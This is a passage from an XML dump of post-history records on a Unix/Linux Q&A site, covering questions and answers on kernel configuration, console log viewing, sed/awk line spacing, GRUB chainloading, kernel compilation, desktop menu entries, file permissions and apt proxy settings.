arch/x86/Kconfig&#xD;&#xA;    .config:3518:warning: override: VZ_FAIRSCHED changes choice state&#xD;&#xA;&#xD;&#xA;What is this warning referring to?&#xD;&#xA;" />
  <row Id="6578" PostHistoryTypeId="1" PostId="3125" RevisionGUID="a16fa893-e147-4b85-aab6-cc8a59afca13" CreationDate="2010-10-14T20:21:09.603" UserId="1920" Text="What does &quot;warning: override: VZ_FAIRSCHED changes choice state&quot; mean?" />
  <row Id="6579" PostHistoryTypeId="3" PostId="3125" RevisionGUID="a16fa893-e147-4b85-aab6-cc8a59afca13" CreationDate="2010-10-14T20:21:09.603" UserId="1920" Text="ékernelàéconfigurationà" />
  <row Id="6580" PostHistoryTypeId="4" PostId="3117" RevisionGUID="4e255e8a-4fab-451c-9103-167a75038fb1" CreationDate="2010-10-14T20:22:22.920" UserId="916" Comment="Remove attempt at markdown from title" Text="Are there any good tutorials for NetBSD and daemontools?" />
  <row Id="6581" PostHistoryTypeId="6" PostId="3122" RevisionGUID="08496969-5d16-4b9b-8edf-8b8b06f2faa9" CreationDate="2010-10-14T20:32:12.337" UserId="1941" Comment="edited tags" Text="éterminalàélogsàéloggingà" />
  <row Id="6582" PostHistoryTypeId="2" PostId="3126" RevisionGUID="465d73cb-7e26-4244-b3ba-031d02c3e091" CreationDate="2010-10-14T20:35:44.487" UserId="885" Text="You're not using the terminology properly, so I'm not sure I've understood your question properly.&#xD;&#xA;&#xD;&#xA;* A “non-interactive” terminal sounds contradictory; I assume you meant non-graphical terminal, more precisely the text consoles that you get when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt; and friends.&#xD;&#xA;* You ask about messages from bash, but bash is a shell (i.e. a program that shows a command prompt or executes scripts), and I doubt your question is specifically about bash.&#xD;&#xA;&#xD;&#xA;I'll also assume this question is about Linux; it could be asked of other unix variants, and the answer is likely to be different.&#xD;&#xA;&#xD;&#xA;You can see the current contents of the text console `/dev/tty1` in the file `/dev/vcs1` (where 1 is the number in &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;). (If you try to read from `/dev/tty1`, you'll compete with the program running there for keyboard input.) The vcs devices are normally only readable by root. You get a snapshot; there's no convenient way to get content as it comes.&#xD;&#xA;&#xD;&#xA;The [ttysnoop](http://freshmeat.net/projects/ttysnoop/) program allows you to watch the traffic on a console from another terminal (including an X terminal). But this is something you have to set up in advance.&#xD;&#xA;&#xD;&#xA;Instead of trying to catch the messages when they've been output on the text console, arrange to have the messages directed to a different location. Most such console output will end up in the system logs, in files under `/var/log`. Under X (i.e. in graphical mode), you can catch these messages with **`xconsole`**, which is part of the standard X distribution. &#xD;&#xA;&#xD;&#xA;If `xconsole` doesn't show the messages you want, edit your question to mention where these messages are coming from.&#xD;&#xA;&#xD;&#xA;If you can't get `xconsole` to show any message, edit your question to include your exact operating system, any configuration steps you've taken, and any error message you saw.&#xD;&#xA;" />
  <row Id="6583" PostHistoryTypeId="2" PostId="3127" RevisionGUID="9a8e28f4-969b-4c7e-ba61-5f246099151f" CreationDate="2010-10-14T21:00:05.633" UserId="29" Text="Mail logs are incredibly difficult to read... how could I ouput a blank line between each line printed on the command line. For example say, i'm grep-ing the log. That way multiple wrapped lines aren't being confused." />
  <row Id="6584" PostHistoryTypeId="1" PostId="3127" RevisionGUID="9a8e28f4-969b-4c7e-ba61-5f246099151f" CreationDate="2010-10-14T21:00:05.633" UserId="29" Text="add spaces between lines printed on the command line" />
  <row Id="6585" PostHistoryTypeId="3" PostId="3127" RevisionGUID="9a8e28f4-969b-4c7e-ba61-5f246099151f" CreationDate="2010-10-14T21:00:05.633" UserId="29" Text="écommandölineàéshellà" />
  <row Id="6586" PostHistoryTypeId="2" PostId="3128" RevisionGUID="ca2d3db5-2fe3-4e9b-abb5-fb3f56f28e17" CreationDate="2010-10-14T21:03:43.667" UserId="1941" Text="Use sed and replace the whole line by itself plus one extra newline character:&#xD;&#xA;&#xD;&#xA;    grep foo /var/log/maillog | sed -e &quot;s/^.*$/&amp;1\n/&quot;" />
  <row Id="6587" PostHistoryTypeId="2" PostId="3129" RevisionGUID="112a0840-3b07-4c24-9b7b-6c2e4774fcee" CreationDate="2010-10-14T21:04:09.813" UserId="2298" Text="Is this what you are after?  &#xD;&#xA;&#xD;&#xA; `grep SPAM  mail.log | while read line; do echo; echo $line; done`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6588" PostHistoryTypeId="5" PostId="3126" RevisionGUID="cb4248df-19c5-49e1-ae0a-70517edf8d90" CreationDate="2010-10-14T21:14:04.173" UserId="885" Comment="react to OP's comments" Text="You can see the current contents of the text console `/dev/tty1` in the file `/dev/vcs1` (where 1 is the number in &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;). (If you try to read from `/dev/tty1`, you'll compete with the program running there for keyboard input.) The vcs devices are normally only readable by root. You get a snapshot; there's no convenient way to get content as it comes.&#xD;&#xA;&#xD;&#xA;The [ttysnoop](http://freshmeat.net/projects/ttysnoop/) program allows you to watch the traffic on a console from another terminal (including an X terminal). But this is something you have to set up in advance.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Instead of trying to catch the messages when they've been output on the text console, arrange to have the messages directed to a different location. Most such console output will end up in the system logs, in files under `/var/log`. Under X (i.e. in graphical mode), you can catch these messages with **`xconsole`**, which is part of the standard X distribution. &#xD;&#xA;&#xD;&#xA;If `xconsole` doesn't show the messages you want, edit your question to mention where these messages are coming from.&#xD;&#xA;&#xD;&#xA;If you can't get `xconsole` to show any message, edit your question to include your exact operating system, any configuration steps you've taken, and any error message you saw.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If the messages are not coming from the system logging facility, but from a program you started in the text mode console, you'll be better served by using **redirection**. Arrange to start the program like this:&#xD;&#xA;&#xD;&#xA;    mv ~/.myprogram.log ~/.myprogram.log.old&#xD;&#xA;    myprogram --with arguments 2&gt;&amp;1 &gt;~/.myprogram.log&#xD;&#xA;&#xD;&#xA;Then you can read the output from the program from anywhere by looking in the file `~/.myprogram.log`. In particular, to watch the file grow in real time, run&#xD;&#xA;&#xD;&#xA;    tail -n +1 -f ~/.myprogram.log&#xD;&#xA;&#xD;&#xA;If the program is started by your X startup scripts, it would be better to redirect the output from the whole X startup sequence to a file. In fact many distributions do this automatically. If you're using a `.xinitrc` or `.xsession` file, put the following line near the beginning of the file to redirect the output from subsequent programs:&#xD;&#xA;&#xD;&#xA;    exec &gt;&quot;$HOME/.xsession-$DISPLAY.log&quot; 2&gt;&amp;&#xD;&#xA;" />
  <row Id="6589" PostHistoryTypeId="5" PostId="3122" RevisionGUID="0e6dffd9-0703-489b-96bf-d72b80be86f4" CreationDate="2010-10-14T21:17:28.690" UserId="885" Comment="clarified wording based on question author's subsequent comments" Text="Under Linux, is it possible to view error messages that show up on the text mode terminal while in GUI mode, instead of having to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; to view the messages every time and then switching back to GUI mode by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt;?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="6590" PostHistoryTypeId="6" PostId="3122" RevisionGUID="0e6dffd9-0703-489b-96bf-d72b80be86f4" CreationDate="2010-10-14T21:17:28.690" UserId="885" Comment="clarified wording based on question author's subsequent comments" Text="élinuxàéterminalàélogsà" />
  <row Id="6591" PostHistoryTypeId="2" PostId="3130" RevisionGUID="0595cfbb-bff2-4e80-88c6-24faaa122b92" CreationDate="2010-10-14T21:28:06.713" UserId="31" Text="Use awk to add an extra newline.  This also lets you filter out things you don't want.&#xD;&#xA;&#xD;&#xA;    awk '{print $0,&quot;\n&quot;}' | less&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6592" PostHistoryTypeId="2" PostId="3131" RevisionGUID="c8601440-a299-4163-bfde-5b60c5dc787b" CreationDate="2010-10-14T21:35:30.453" UserId="1941" Text="I don't have an answer fulfilling all of what you want but a part of it. If it is sufficient to use the date at which the mail arrives instead of the date header of the mail itself and if one folder per date is also sufficient, you can do this with maildrop:&#xD;&#xA;&#xD;&#xA;    DEFAULT=&quot;$HOME/Maildir&quot;&#xD;&#xA;    MAIL = &quot;$HOME/Maildir&quot;&#xD;&#xA;    DAY = `date +%d`&#xD;&#xA;    MONTH = `date +%m`&#xD;&#xA;    YEAR = `date +%y`&#xD;&#xA;    ARCHIVEFOLDER = $YEAR$MONTH$DATE&#xD;&#xA;    `test -d $MAIL/.$ARCHIVEFOLDER`&#xD;&#xA;    if ( $RETURNCODE != 0 )&#xD;&#xA;    {&#xD;&#xA;    `maildirmake -f $ARCHIVEFOLDER $MAIL`&#xD;&#xA;    }&#xD;&#xA;    # logfile &quot;/tmp/maildrop&quot;&#xD;&#xA;    # log $MAIL/.$SPAMORDNER&#xD;&#xA;    to $MAIL/.$ARCHIVEFOLDER&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I hope you can build up on this." />
  <row Id="6593" PostHistoryTypeId="2" PostId="3132" RevisionGUID="8dde76db-e6df-41fe-b76a-95656454d536" CreationDate="2010-10-14T21:38:18.073" UserId="1339" Text="I'm searching for some detailed resources about the differences of System V and BSD concepts.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;- Interprocess Communication&#xD;&#xA;- Sockets vs TLI&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;Some sort of pro/cons discussion with historical background would be really nice.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="6594" PostHistoryTypeId="1" PostId="3132" RevisionGUID="8dde76db-e6df-41fe-b76a-95656454d536" CreationDate="2010-10-14T21:38:18.073" UserId="1339" Text="Resources System V vs BSD" />
  <row Id="6595" PostHistoryTypeId="3" PostId="3132" RevisionGUID="8dde76db-e6df-41fe-b76a-95656454d536" CreationDate="2010-10-14T21:38:18.073" UserId="1339" Text="ébsdàésystemövàédiscussionà" />
  <row Id="6596" PostHistoryTypeId="2" PostId="3133" RevisionGUID="dddd25f4-ac4e-499c-ad59-e45c33c77bed" CreationDate="2010-10-15T01:10:31.447" UserId="138" Text="This is mostly a historic matter, for a number of reasons:&#xD;&#xA;&#xD;&#xA; * Over the years, the System V based Unices have gotten a lot of BSD in them, and the BSDs have &amp;mdash; to a lesser extent &amp;mdash; adopted some System V features.&#xD;&#xA;&#xD;&#xA; * A lot of the differences simply don't matter any more, like XTI/TLI, having been beaten out in the market of ideas by BSD sockets.&#xD;&#xA;&#xD;&#xA; * The Unix market is consolidating. There are fewer weird nonstandard differences to deal with these days, and better tools for dealing with the ones that remain.  One big area of difference is in how dynamic linkage works, for instance, but we have &lt;a href=&quot;http://www.gnu.org/software/libtool/&quot;&gt;GNU libtool&lt;/a&gt; to deal with it now.&#xD;&#xA;&#xD;&#xA;The best single resource I know of for learning about these sorts of differences is &lt;a href=&quot;http://www.apuebook.com/&quot;&gt;Advanced Programming in the Unix Environment, 2/e&lt;/a&gt; by Stevens and Rago.  If you have a special interest in networking and IPC, add in Stevens' &lt;a href=&quot;http://www.kohala.com/start/unpv12e.html&quot;&gt;Unix Network Programming, volume 1&lt;/a&gt; and &lt;a href=&quot;http://www.kohala.com/start/unpv22e/unpv22e.html&quot;&gt;volume 2&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;If you can find the first edition of APUE, it's still useful.  The main thing you get in the second edition is explicit coverage of Linux and OS X.  If you're just trying to use the features, you just have to puzzle out which of the alternatives these newer platforms support." />
  <row Id="6597" PostHistoryTypeId="2" PostId="3134" RevisionGUID="814a7e05-df9d-4e55-9e29-086f6e553f85" CreationDate="2010-10-15T01:16:57.903" UserId="1264" Text="If it's for more than just have look, I prefer to send them to a text file and open with a text editor so you can set the lines to wrap or not and do searches easily...&#xD;&#xA;and delete the unwanted lines and so on without having to type a lot of commands.&#xD;&#xA;&#xD;&#xA;`cat file.log &gt; log.txt`&#xD;&#xA;and `gedit log.txt` or a terminal editor like nano&#xD;&#xA;" />
  <row Id="6598" PostHistoryTypeId="2" PostId="3135" RevisionGUID="e49cd5a7-59bc-4abd-a0f4-8c9d856c25c3" CreationDate="2010-10-15T02:10:53.567" UserId="1107" Text="   sed -e G&#xD;&#xA;&#xD;&#xA;`G` is not often used, but is nice for this purpose. *sed* maintains two buffer spaces: the “pattern space” and the “hold space”. The lines processed by *sed* usually flow through the pattern space as various commands operate on its contents (`s///`, `p`, etc.); the hold space starts out empty and is only used by some commands.&#xD;&#xA;&#xD;&#xA;The `G` command appends a newline and the contents of the hold space to the pattern space. The above *sed* program never puts anything in the hold space, so `G` effectively appends just a newline to every line that is processed." />
  <row Id="6599" PostHistoryTypeId="5" PostId="3075" RevisionGUID="a043199b-c160-458c-98ae-8fc8ec6520ab" CreationDate="2010-10-15T07:22:35.650" UserId="250" Comment="added 162 characters in body" Text="This is really getting me down. I have Gentoo and Ubuntu, both with Grub2. Gentoo has a dedicated `/boot` partition, while Ubuntu does not. I have a `menuentry` in Gentoo's `/etc/grub.d/40_custom` to boot Ubuntu (and Ubuntu does boot OK).&#xD;&#xA;&#xD;&#xA;Because Ubuntu comes with Grub I want to chainload into that one, instead of maintaining my entry which sets the root, kernel, initrd and stuff. This is what I have for the chainloader (Ubuntu is on `/dev/sda4` and I have already installed Grub there):&#xD;&#xA;&#xD;&#xA;    menuentry 'Chainloader' {&#xD;&#xA;        insmod chain&#xD;&#xA;        set root=(hd0,4)&#xD;&#xA;        chainloader +1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It is giving me `error: Invalid signature` and I found no solution available. Can someone point out something?&#xD;&#xA;&#xD;&#xA;This is the result of `&lt;/dev/sda4 head -c 512 | hd`&#xD;&#xA;&#xD;&#xA;    00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xD;&#xA;    *&#xD;&#xA;    00000200" />
  <row Id="6600" PostHistoryTypeId="2" PostId="3136" RevisionGUID="bf62fb1e-8a48-4fdf-ab19-ae4683aff219" CreationDate="2010-10-15T07:29:03.533" UserId="2269" Text="hi ,&#xD;&#xA;&#xD;&#xA;I need to install another kernel(2.6.34) into my fedora machine(x86) and i need to show the old and new boot up options in the boot menu(both new and old kernel)&#xD;&#xA;&#xD;&#xA;I have downloaded the new kernel and i need to compile it and need to build it.&#xD;&#xA;&#xD;&#xA;can you explain me the steps for doing that?&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6601" PostHistoryTypeId="1" PostId="3136" RevisionGUID="bf62fb1e-8a48-4fdf-ab19-ae4683aff219" CreationDate="2010-10-15T07:29:03.533" UserId="2269" Text="Installing new kernel (by commandline)as side of old kernel" />
  <row Id="6602" PostHistoryTypeId="3" PostId="3136" RevisionGUID="bf62fb1e-8a48-4fdf-ab19-ae4683aff219" CreationDate="2010-10-15T07:29:03.533" UserId="2269" Text="ékernelàéinstallà" />
  <row Id="6603" PostHistoryTypeId="5" PostId="3129" RevisionGUID="579e3487-763c-477b-b1a0-7e839e19cab7" CreationDate="2010-10-15T07:51:39.947" UserId="2298" Comment="added 3 characters in body" Text="Is this what you are after?  &#xD;&#xA;&#xD;&#xA; `grep SPAM  mail.log | while read -r line; do echo; echo $line; done`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6604" PostHistoryTypeId="2" PostId="3137" RevisionGUID="27a21d18-07a1-4237-aa1b-6e8119a998c8" CreationDate="2010-10-15T08:10:05.047" UserId="250" Text="Hello Renjith,&#xD;&#xA;&#xD;&#xA;Have you tried [this wiki page][1]? It looks pretty much all that you need.&#xD;&#xA;&#xD;&#xA;Regarding the boot options, what boot loader are you using? Grub will probably detect your kernel when you run `update-grub` or `grub-mkconfig`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Docs/CustomKernel" />
  <row Id="6605" PostHistoryTypeId="2" PostId="3138" RevisionGUID="3e7e4a51-b6c6-4160-aaf9-d60d744aa304" CreationDate="2010-10-15T08:11:17.950" UserId="1941" Text="If you just need any 2.6.34-kernel, you might head over to [koji][1] and try to find a precompiled one for you version of fedora. You can install it as root after downloading all required rpms with `yum localinstall kernel-*.rpm` and it will automatically appear in Grub.&#xD;&#xA;&#xD;&#xA;If you need to modify the kernel, it is best to also start with the distribution kernel and modify it to suit your needs. There is an extensive howto in [the fedora wiki][2].&#xD;&#xA;&#xD;&#xA;Lastly if you really need to start from scratch with the sources from kernel.org, you have to download the source and extract the archive. Then you have to configure the kernel. For this, say `make menuconfig` for a CLI or `make menuconfig` for a graphical configuration. You might want to start with the old configuration of the running kernel, see http://unix.stackexchange.com/questions/2496/recompile-kernel-to-change-stack-size.&#xD;&#xA;&#xD;&#xA;When you are finished configuring, say `make` to build the kernel, then `make modules` to build kernel modules. &#xD;&#xA;&#xD;&#xA;The following steps have to be done as root: Say `make modules_install` to install the modules (this will not overwrite anything of the old kernel) and finally `make install` which will automatically install the kernel into /boot and modify the Grub configuration, so that you can start the new kernel alongside the old one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://koji.fedoraproject.org/koji/packageinfo?packageID=8&#xD;&#xA;  [2]: http://fedoraproject.org/wiki/Docs/CustomKernel" />
  <row Id="6606" PostHistoryTypeId="2" PostId="3139" RevisionGUID="a5baa29b-285a-4230-8809-82759548d6ea" CreationDate="2010-10-15T08:26:22.300" UserId="2142" Text="I need to preseed a dual boot installation of Ubuntu 10.04. I want partman to use all already existing Linux partitions and all free space (like the option when installing Fedora) what would that recipe look like?" />
  <row Id="6607" PostHistoryTypeId="1" PostId="3139" RevisionGUID="a5baa29b-285a-4230-8809-82759548d6ea" CreationDate="2010-10-15T08:26:22.300" UserId="2142" Text="Preseeding Ubuntu 10.04" />
  <row Id="6608" PostHistoryTypeId="3" PostId="3139" RevisionGUID="a5baa29b-285a-4230-8809-82759548d6ea" CreationDate="2010-10-15T08:26:22.300" UserId="2142" Text="éubuntuàéinstallàépartitionà" />
  <row Id="6609" PostHistoryTypeId="2" PostId="3140" RevisionGUID="c64c270a-0db8-4c8f-87ca-29ba28e65b82" CreationDate="2010-10-15T08:38:33.690" UserId="272" Text="Often, I have both KDE4 and Gnome installed on my machines. What really bothers me when I do this, is that the Gnome menu will show all kinds of things that I will hardly ever use in Gnome, like Konqueror, KMail and Konversation. (Just to name a few, the list is obviously *much* longer.)&#xD;&#xA;&#xD;&#xA;I hate this.&#xD;&#xA;&#xD;&#xA;I would love a way (an easy way) to make sure Gnome only shows Gnome related icons and KDE only shows KDE related icons. Of course, you can manually hide all the KDE icons from the Gnome menu, but that sucks ****, so I'd rather not go that way.&#xD;&#xA;&#xD;&#xA;Does any have a solution for this? A script maybe?" />
  <row Id="6610" PostHistoryTypeId="1" PostId="3140" RevisionGUID="c64c270a-0db8-4c8f-87ca-29ba28e65b82" CreationDate="2010-10-15T08:38:33.690" UserId="272" Text="Prevent KDE and Gnome from showing eachothers icons in the menu" />
  <row Id="6611" PostHistoryTypeId="3" PostId="3140" RevisionGUID="c64c270a-0db8-4c8f-87ca-29ba28e65b82" CreationDate="2010-10-15T08:38:33.690" UserId="272" Text="égnomeàékdeàémenuàéiconsà" />
  <row Id="6612" PostHistoryTypeId="2" PostId="3141" RevisionGUID="5b4d5e99-bd2a-43a6-991d-c9baff92f6d0" CreationDate="2010-10-15T08:57:27.433" UserId="1941" Text="The menu entries are created from .desktop-files. There you can specify if the icon shall be only shown in Gnome, only in KDE or in both with e.g. a ShowOnlyIn=KDE line.&#xD;&#xA;&#xD;&#xA;To hide all KDE-apps, you might do as root&#xD;&#xA;&#xD;&#xA;    cd /usr/share/applications/kde4/&#xD;&#xA;    for i in *.desktop; do echo “ShowOnlyIn=KDE” &gt;&gt; $i; done&#xD;&#xA;&#xD;&#xA;To hide Gnome-Apps in KDE, echo “ShowOnlyIn=GNOME” into the Gnome .desktop-files.&#xD;&#xA;&#xD;&#xA;However, when an update to a package arrives, this could override this, so you might to have to repeat it, e.g. with a cron job. Make a backup of /usr/share/applications/kde4/ before doing this to be safe if something goes wrong.&#xD;&#xA;" />
  <row Id="6613" PostHistoryTypeId="5" PostId="3136" RevisionGUID="ec6e54ba-1201-42fe-ad74-57a041e81ebe" CreationDate="2010-10-15T09:19:28.850" UserId="2269" Comment="added 288 characters in body; edited title; added 32 characters in body" Text="hi ,&#xD;&#xA;&#xD;&#xA;I need to install another kernel(2.6.34) into my fedora machine(x86) and i need to show the old and new boot up options in the boot menu(both new and old kernel)&#xD;&#xA;&#xD;&#xA;I have downloaded the new kernel and i need to compile it and need to build it.&#xD;&#xA;&#xD;&#xA;can you explain me the steps for doing that?&#xD;&#xA;&#xD;&#xA;I got  the correct steps from this discussion  and am having doubts in the steps 6 and 7 in the below link which explains the installation of new kernel.&#xD;&#xA;&#xD;&#xA;http://www.cyberciti.biz/tips/compiling-linux-kernel-26.html&#xD;&#xA;&#xD;&#xA;Also can you explain the effective configuration of 'menuconfig' and its what it actually aims?&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6614" PostHistoryTypeId="4" PostId="3136" RevisionGUID="ec6e54ba-1201-42fe-ad74-57a041e81ebe" CreationDate="2010-10-15T09:19:28.850" UserId="2269" Comment="added 288 characters in body; edited title; added 32 characters in body" Text="Installing new kernel (by commandline)as side of old kernel and effective configuration of ' menuconfig'" />
  <row Id="6615" PostHistoryTypeId="2" PostId="3142" RevisionGUID="9a8d4dd9-b57e-4ac5-8107-511039495ddb" CreationDate="2010-10-15T09:53:36.473" UserId="1931" Text="It helps prevent the spread of viruses in Windows&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;Remember that Linux is used used in many ways, such as file and email servers.  &#xD;&#xA;Files in these servers (MS Office files, outlook messages, EXE programs) can be stored **with** an infection.  &#xD;&#xA;Even though they should not affect the servers themselves, one could configure the server to check every file at the moment that is stored to make sure that is clean and prevent future spread when they are moved back to Windows machine.  &#xD;&#xA;I myself have it installed for when a friend ask me to check why their XP machine is not working, or for when I plugged my pen drive on a Windows machine.&#xD;&#xA;" />
  <row Id="6616" PostHistoryTypeId="5" PostId="3141" RevisionGUID="7926070c-c7b9-47b3-b3ac-3a14c1d520b5" CreationDate="2010-10-15T10:04:40.963" UserId="1941" Comment="added 149 characters in body" Text="The menu entries are created from .desktop-files. There you can specify if the icon shall be only shown in Gnome, only in KDE or in both with e.g. a OnlyShowIn=KDE line.&#xD;&#xA;&#xD;&#xA;To hide all KDE-apps, you might do as root&#xD;&#xA;&#xD;&#xA;    cd /usr/share/applications/kde4/&#xD;&#xA;    for i in *.desktop; do echo “OnlyShowIn=KDE” &gt;&gt; $i; done&#xD;&#xA;&#xD;&#xA;To hide Gnome-Apps in KDE, echo “OnlyShowIn=GNOME” into the Gnome .desktop-files.&#xD;&#xA;&#xD;&#xA;However, when an update to a package arrives, this could override this, so you might to have to repeat it, e.g. with a cron job. Make a backup of /usr/share/applications/kde4/ before doing this to be safe if something goes wrong.&#xD;&#xA;&#xD;&#xA;For a list of all information which can be included in a .desktop-file, see http://standards.freedesktop.org/desktop-entry-spec/latest/ar01s05.html" />
  <row Id="6617" PostHistoryTypeId="5" PostId="2850" RevisionGUID="d4beaeec-25b9-45a1-ac8a-7f4040b6bb7e" CreationDate="2010-10-15T10:51:55.830" UserId="2197" Comment="added 615 characters in body" Text="The samba permissions only work on the SMB (ie Windows) network clients. If you want to enforce this on the server (and any NFS clients) you need to set the sticky bit on all the directories.&#xD;&#xA;&#xD;&#xA;first correct the files that are there:&#xD;&#xA;&#xD;&#xA;    chown -R archive /home/archive &#xD;&#xA;    chgrp -R archive /home/archive &#xD;&#xA;    find /home/archive -type d -exec chmod 0775 {} \;&#xD;&#xA;    find /home/archive -type f -exec chmod 0664 {} \;&#xD;&#xA;&#xD;&#xA;then enforce this with the group sticky bit&#xD;&#xA;&#xD;&#xA;    find /home/archive -type d -exec chmod g+s {} \;&#xD;&#xA;&#xD;&#xA;This is not infalable but does solve 99% of this sort of problem.&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;DaveF&#xD;&#xA;&#xD;&#xA;Result on my Solaris box:&#xD;&#xA;&#xD;&#xA;    davef@dalek[10]$ cd /proj/ftptmp&#xD;&#xA;    davef@dalek[11]$ ls -ld .&#xD;&#xA;    drwxrwsr-x  60 root     ftpusers     377 Oct  5 09:31 ./&#xD;&#xA;    davef@dalek[12]$&#xD;&#xA;    davef@dalek[12]$ ls -l foo.txt&#xD;&#xA;    foo.txt: No such file or directory&#xD;&#xA;    davef@dalek[13]$ touch foo.txt&#xD;&#xA;    davef@dalek[14]$ ls -l foo.txt&#xD;&#xA;    -rw-rw-r--   1 davef    ftpusers       0 Oct 15 11:49 foo.txt&#xD;&#xA;    davef@dalek[15]$ touch foo.txt&#xD;&#xA;    davef@dalek[16]$ ls -l foo.txt&#xD;&#xA;    -rw-rw-r--   1 davef    ftpusers       0 Oct 15 11:49 foo.txt&#xD;&#xA;    davef@dalek[17]$&#xD;&#xA;    davef@dalek[17]$ umask&#xD;&#xA;    2&#xD;&#xA;    davef@dalek[18]$" />
  <row Id="6618" PostHistoryTypeId="2" PostId="3143" RevisionGUID="a4feb003-9b23-44ad-93a8-f9e16a520666" CreationDate="2010-10-15T11:02:35.110" UserId="1325" Text="Hi&#xD;&#xA; &#xD;&#xA; I am on the university machine trying to estimate the disk usage I have on my space I do&#xD;&#xA;&#xD;&#xA;    du -csh ./&#xD;&#xA;&#xD;&#xA;from the begining of my account, but an error is given that ./Yesterday/Yesterday is not a device, so I do &#xD;&#xA;&#xD;&#xA;    du -csh --exclude=&quot;Yes*&quot; ./&#xD;&#xA;&#xD;&#xA;and the error is stopped. But is there a more elegant way, and why is this error emerging? I can image how the Yesterday of Yesterday gets removed but whats the concepts behind the error.&#xD;&#xA;Best,&#xD;&#xA;" />
  <row Id="6619" PostHistoryTypeId="1" PostId="3143" RevisionGUID="a4feb003-9b23-44ad-93a8-f9e16a520666" CreationDate="2010-10-15T11:02:35.110" UserId="1325" Text="error using &quot;du&quot; command" />
  <row Id="6620" PostHistoryTypeId="3" PostId="3143" RevisionGUID="a4feb003-9b23-44ad-93a8-f9e16a520666" CreationDate="2010-10-15T11:02:35.110" UserId="1325" Text="écommandölineàéshellàédisköusageà" />
  <row Id="6621" PostHistoryTypeId="2" PostId="3144" RevisionGUID="d5ca8430-f541-4ab8-92e1-e692c102a2e8" CreationDate="2010-10-15T11:21:06.163" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;In my office i want to update and download through (wget) and here they are using proxy?&#xD;&#xA;&#xD;&#xA;How can i do this by commandline?&#xD;&#xA;&#xD;&#xA;_Kanu" />
  <row Id="6622" PostHistoryTypeId="1" PostId="3144" RevisionGUID="d5ca8430-f541-4ab8-92e1-e692c102a2e8" CreationDate="2010-10-15T11:21:06.163" UserId="2269" Text="How to run “sudo apt-get update” through proxy in commandline?" />
  <row Id="6623" PostHistoryTypeId="3" PostId="3144" RevisionGUID="d5ca8430-f541-4ab8-92e1-e692c102a2e8" CreationDate="2010-10-15T11:21:06.163" UserId="2269" Text="élinuxàénetworkingà" />
  <row Id="6624" PostHistoryTypeId="2" PostId="3145" RevisionGUID="3ad6e5e1-8ecc-4c56-b47d-06a512ca7202" CreationDate="2010-10-15T11:25:03.040" UserId="33" Text="Either export the &quot;http_proxy&quot; environment variable as in &quot;export http_proxy=http://myproxy:port&quot; or add&#xD;&#xA;&#xD;&#xA;    Acquire::http:proxy &quot;http://MYNAME:MYPASS@MY.PROXY.COM:MYPORT&quot;&#xD;&#xA;&#xD;&#xA;To /etc/apt/apt.conf.&#xD;&#xA;&#xD;&#xA;See [http://ubuntuforums.org/showthread.php?t=96802][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=96802" />
  <row Id="6625" PostHistoryTypeId="5" PostId="3022" RevisionGUID="1b58d271-795a-45ab-8ddb-46fcf3854448" CreationDate="2010-10-15T11:50:36.197" UserId="2045" Comment="update" Text="I have been using xterm for all my work. I realized that the features that desktop environments like GNOME has to provide are not of much use to me. &lt;br/&gt;Now is it possible that I remove GNOME and KDE altogether and use some window manager only in run level 5 (X11) to play videos, use browser, and occasionally file manager like Nautilus. How can I do it? &lt;br/&gt; &#xD;&#xA;Is it a good idea?&lt;br/&gt;&#xD;&#xA;Which window manager would you suggest?&#xD;&#xA;&#xD;&#xA;What I have done so far: I installed [Window Maker](http://en.wikipedia.org/wiki/Window_Maker). When I rebooted, I was offered one more choice at the time of login - GNOME, KDE,  Window Maker. I chose Window Maker. It gives me multiple workspaces, customizable keyboard shortcuts, without usual desktop features like panel, notification area, desktop icons.&#xD;&#xA;&#xD;&#xA;But I have observed that whenever I launch Nautilus, the desktop background changes to the one I set on GNOME and all desktop icons are restored as they were in GNOME, though the keyboard shortcuts of Window Maker still works. But to remove GNOME background and desktop icons I have to logout and login again.&lt;br/&gt;&#xD;&#xA;How can I fix it so that launching of Nautilus does not bring GNOME background? Should I use some other file manager? &#xD;&#xA;&#xD;&#xA;Update&#xD;&#xA;------&#xD;&#xA;I have complied and installed dwm. It was not 